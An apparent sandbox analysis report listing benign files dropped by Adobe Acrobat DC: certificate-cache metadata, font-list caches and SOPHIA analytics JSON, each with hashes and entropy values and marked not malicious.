Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7582608629891827
Encrypted:	false
SSDEEP:	3:kkFklP0illtfllXlE/HT8kBz/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKk/eT86/TNMa8RdWBwRd
MD5:	AD6117BF9A693A72815448DC7CB5CDAB
SHA1:	F645A3A77CCE7DB2ED7DFC057F9EAEA476358F59
SHA-256:	F57D3591D0BA15E38723E6C4E22C7DD585BF210F65603D4D74DBB20F4893527D
SHA-512:	8C2D1CD8818A4ADD6A1AA77C62A31E22941623D594830051F9D72A2C07FC3840B287456A60E910243737BF800367FCB09974E13AFDC64F27AEF0E59F6655B07F
Malicious:	false
Preview:	p...... ..........cL.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2230839480849456
Encrypted:	false
SSDEEP:	6:kKxL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ZiDImsLNkPlE99SNxAhUe/3
MD5:	1E47761E164112519D4223E9DC6B90FB
SHA1:	1A49ACE0BEF208A94E69F8E4D61FFF19D09606E4
SHA-256:	C3BA1E1D9957B471D7E9991FA242C0C7F92C27E8ACBBC03B510B6F0B21DCBB18
SHA-512:	E389D4A23FBA12F456E919E1CD4067A390C3CBBC5379436C67E3007A788E475248A0A4D2FEA70FA6F4A65D2C82EDBB7EB582A12DB9D9517664B45171918B4360
Malicious:	false
Preview:	p...... ........d..^.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362696013644292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJM3g98kUwPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGMbLUkee9
MD5:	69B3D6904A170638CC4B4DC9F5334852
SHA1:	DBF6805EA0BF5AE02C65B7F042C3A11FC4BE6322
SHA-256:	3A76185A7EC40A8AD3A576612266212A6EB019A6F382124BBFE0D691E755F01D
SHA-512:	EE07F98744511CE3FAB2A34024D3D70AB64F6069AF644DC5A1F4D2EFA6FF1F548B724A29C2C64D107C5FE739551FC1F797CB6C8296B0A621F154D391920396F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301321933337565
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfBoTfXpnrPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGWTfXcUk3
MD5:	15669C7132DC5383C29AD3C05E82192B
SHA1:	0864E9B445EFF2D3ACC24FB92CE44256A8DB9A78
SHA-256:	EC378E99F4F3AE2290016E3DFC52E3C3E1686BD1D19F77FCB6A426DB2C439CDE
SHA-512:	2C914799A4C5F8D488C9EEB33455AACFC133662903E53DC0740ECC7FAF7B12440B03799168848B22C757D24B4E31487389BB96A0A7E267F430948BB344B03DDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279721252205996
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfBD2G6UpnrPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGR22cUke6
MD5:	0DA2A8909508A9E202A49022DF407FEF
SHA1:	7DB147D5E1C15E562ACB7260DB786F60EDFB903A
SHA-256:	D2E3677626564B1A1B4017F32466557E8B8C4522BB60094D7995C5E19486C86F
SHA-512:	5F3F54D51C3B473B607A0276E09F268972B4FBADC4F1317E05B2BADECC4352CFE6F89CD0AFE6983EF5009BCD44DD16A7BD41E4E51CADC26F9CF0F5397ADD5608
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.339621143604574
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfPmwrPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGH56Ukee9
MD5:	671AF9F22976B5E711EFE2D34A3DAC0B
SHA1:	FDD52DF5182C6300425A6EE02AC2FD937519D341
SHA-256:	C115214847280D50FB370FD16F89F0BC45E328B3E149412368EAC459575F2969
SHA-512:	42AE97C5C3538997573E09F76D7165F9CA6A1E83A0B530DA28E19032AEE81174009DFF0B62BEE682178AE31279AE1ADD6294AD0EF15DBFB470D346C6648D0051
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692062459165924
Encrypted:	false
SSDEEP:	24:Yv6XKth3W2Jh0+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSIY:YvFDlJhRhgy6SAFv5Ah8cv/l
MD5:	3C32B5B564FD2527F09F5DAC142C691D
SHA1:	8D2DEF3420678F4069C47119F2872BFAEB5AE41B
SHA-256:	A3BFF8624769132FC07EF89B41A79027A9F72AFDA247696935A8281EE7E3551F
SHA-512:	B563A7B1A024F35159A91F7EE374EDE07C94995A49BF696B7BBAFB3D1B3AE9BF559CFB34651B864D967A6FBB5409E06F08F466ACF24F70938441880FD39DCF51
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290199926462787
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJf8dPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGU8Ukee9
MD5:	D5F9C383D717B1AE03FBF0438A38CAC0
SHA1:	0BD1F8ABCFD7F7B83F1B1AF772924ADE6C689826
SHA-256:	D6CE8E240A9758C1D374BCA7A2153545AF5B0585685D338D331475281DDB782F
SHA-512:	079EF56F124BEA7B849B9CDD521C13C49FC2E6AAAE7A487FE0044AE74052D64A7C5EBD1890AFD5C3098C88EDBCD082F88C5EE979B3496DAA49E9DD06F22A1F61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.289579376568145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfQ1rPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGY16Ukee9
MD5:	6522EFDC192F813A43FF53C8F9B2771D
SHA1:	5497CAE2C34C0562B324C23111B9F5E31EF64C54
SHA-256:	0104B1AA98D7C9E0E98B204A3A66106623F2CDCF86DA88BE173C8F0D8AE567FD
SHA-512:	515B7DD99DD8B97A2ED8FF08F4FD1BBC67FFB7C022BBEC05B555003EF085F2D7A16EA664BA3BD48ACC382A6ECBA58D33C9BA77726B0144FECACEA11D98CCEAF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305172634807245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfFldPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGz8Ukee9
MD5:	ECA574E31D124B9EA69A2E71D88DDA65
SHA1:	A871A921EDAB966B020115A66D64C7DF2925A456
SHA-256:	AE88EACE69F87F1EFF6FE67C66DF97039101DF1876805A27778A5EEF3118D1AF
SHA-512:	9120098ED9DF2D43D4019797C2D09F0E6686CAB07CC0D700D4CEF8B47B027ACC2C9D29101A2B82CBC8796338D6CEEE558356CC9DE9F026B6135E43E76DD2B6FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.318250898642788
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfzdPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGb8Ukee9
MD5:	D71E133A0382304F48DF14F5F9EEE7F6
SHA1:	40DD0DB15BFBA317C4FA2381AD90D92AAA20BCDD
SHA-256:	AED1FD88D49FD55AB7EFB421553D748B234CDFC6A67BE9069F629AEA866E98CA
SHA-512:	FA9889C16897D77CA8168979243F01152CEBCA521F05DEB514ED4B18A79740E5C60F39BE0E3EE4DE283875882D2F5B7EDA610FE306CDEFD33B66F33E112E14F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299149017441062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJfYdPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZGg8Ukee9
MD5:	02CFB44BB4FB194668C67EE1EF0CB38B
SHA1:	79FD3FDB5168AB85EF8353097AE43400347ED1C3
SHA-256:	0B8CCCB5224DD55D16D5E9799296C51093FF459D3D8CF744E68569B432878505
SHA-512:	E2C2CBCD73FB863E061E13DBE4DEF6A7AF6D013A84CEC4B8D2469F106525A0C3E54572B20D9AF0A8B99B0AB8ED67C8B68DDE783D5E5FED1D81B501C3CD03EC99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284866706643591
Encrypted:	false
SSDEEP:	6:YEQXJ2HXhcIQci3CT2vB3/dVlPIHAR0YqWX6qoAvJf+dPeUkwRe9:YvXKXKtci3W2vR/ZwHAuQ6ZG28Ukee9
MD5:	2B21EC6CC8842CE1E3E3411A52A7F738
SHA1:	009442E3475C0B535650BCAE46CFFB9D435F1F8A
SHA-256:	FFBC70BEB59878CAF40737BBEBD45D576F9B021CA09ECF7B7D61DFBAF8E6384B
SHA-512:	D54A25A8F016C6A18F2E996315F3105701028A91328FCDEFCFC2551AB30C1B86429F14051ABC6B1A638B8C336107FC50B2CDA44544EF1B5238F135D17A916A81
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"52773229-59d1-433a-955c-b335ba74f49a","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736708327215,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.282701963792308
Encrypted:	false
